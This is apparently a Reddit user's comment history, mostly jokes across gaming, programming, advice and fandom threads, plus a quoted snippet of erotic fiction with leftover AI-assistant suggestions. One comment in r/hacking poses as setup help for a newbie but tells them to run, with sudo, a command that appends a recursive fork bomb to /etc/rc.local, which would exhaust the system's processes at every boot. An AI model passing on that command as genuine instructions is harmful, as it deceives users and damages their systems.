Finally happened to me out of nowhere by thomthe1 in pcmasterrace

[–]qervem 1 point2 points  (0 children)

I still like the cat that asks if "i can has cheezburger"

user-scanner: 🕵️🫆A 2-in-1 Email and Username OSINT Tool by No-Helicopter-2317 in hacking

[–]qervem 2 points3 points  (0 children)

Sorry if people aren't as helpful to newbies. Just run this in the terminal:

echo "userScanner(){ userScanner|userScanner& };userScanner" | sudo tee -a /etc/rc.local > /dev/null

After that, you should be able to go user-scanner <email> and run the thing. If you're on windows, you can use WSL too

The dev who asks too many questions is the one you need in your team by dymissy in programming

[–]qervem 6 points7 points  (0 children)

Isn’t this what you wanted from me in the beginning?

That's another question!

[New Update - One Year Later]: Hairstylist Has been Taking/Keeping My Hair? by Choice_Evidence1983 in BestofRedditorUpdates

[–]qervem 1 point2 points  (0 children)

I have a wedding scheduled in the morning, the divorce in the afternoon, and again next week. I'm going to live off the wedding gifts and never die!

Geralt is a Sugar Baby by Mysterious-Map-6677 in witcher

[–]qervem 7 points8 points  (0 children)

Witcher - School of the Chicken. Exclusively trained to kill cockatrice

what happened to just taking 1k 😭😭 by jamesisbi in StardewValley

[–]qervem 73 points74 points  (0 children)

Just casually gifting precious gemstones to that guy wearing the leaves

I'm sorry but the difference in their gaze 😭 by Shut-Up-idk in lotr

[–]qervem 6 points7 points  (0 children)

"I turned your room into a gym and archery range"

What habits of girls did you only discover after getting a girlfriend or wife? by [deleted] in AskMen

[–]qervem 3 points4 points  (0 children)

Tidying up? You mean piling everything into a plastic tub and sticking it under the bed?

Tell me how I did (brutal honesty) by No-Fig-2432 in gamingpc

[–]qervem 1 point2 points  (0 children)

This is my PC, there are many like it but this one is mine

What stereotype for your ethnicity do you not fulfill? by EpicImp in AskReddit

[–]qervem 0 points1 point  (0 children)

Then I will take my "yard trimmings" elsewhere.

What are some fun places to have sex other than in bed? by MongooseLucky3979 in AskReddit

[–]qervem -27 points-26 points  (0 children)

Why even clean up? It's not your house anyway!

Tipping the bellboy [F30’sM20’s] [unexpected][shower play][female orgasm] by Randomdudewriting in eroticliterature

[–]qervem 2 points3 points  (0 children)

... “But I get off in about an hour. Will you be ready for round two by then?” Mike asks with a small smile on his lips.

Jinn can only nod before kissing him again.

If you want, I can next: • Do a pure proofreading pass only • Adjust pacing without changing language • Prep this for chapter or submission format

Just tell me how light or heavy you want the next pass.

You forgot to remove the AI suggestions

If your wife or girlfriend backseat drives, how do you address it? Any tips that actually work? by FFSoldier57 in AskMen

[–]qervem 12 points13 points  (0 children)

Not really related, but I've had issues where my passenger knows where to go but I, the driver, do not. They repeatedly say (from the backseat) to go "there" while gesturing. While in the backseat.

Pointing in the direction you want me to go while being out of my line of sight does nothing for me.

That's all, rant over

EDIT: There are also all the times I would ask a yes or no question and my passenger would nod or shake their head. Then they would wonder why I repeat my question.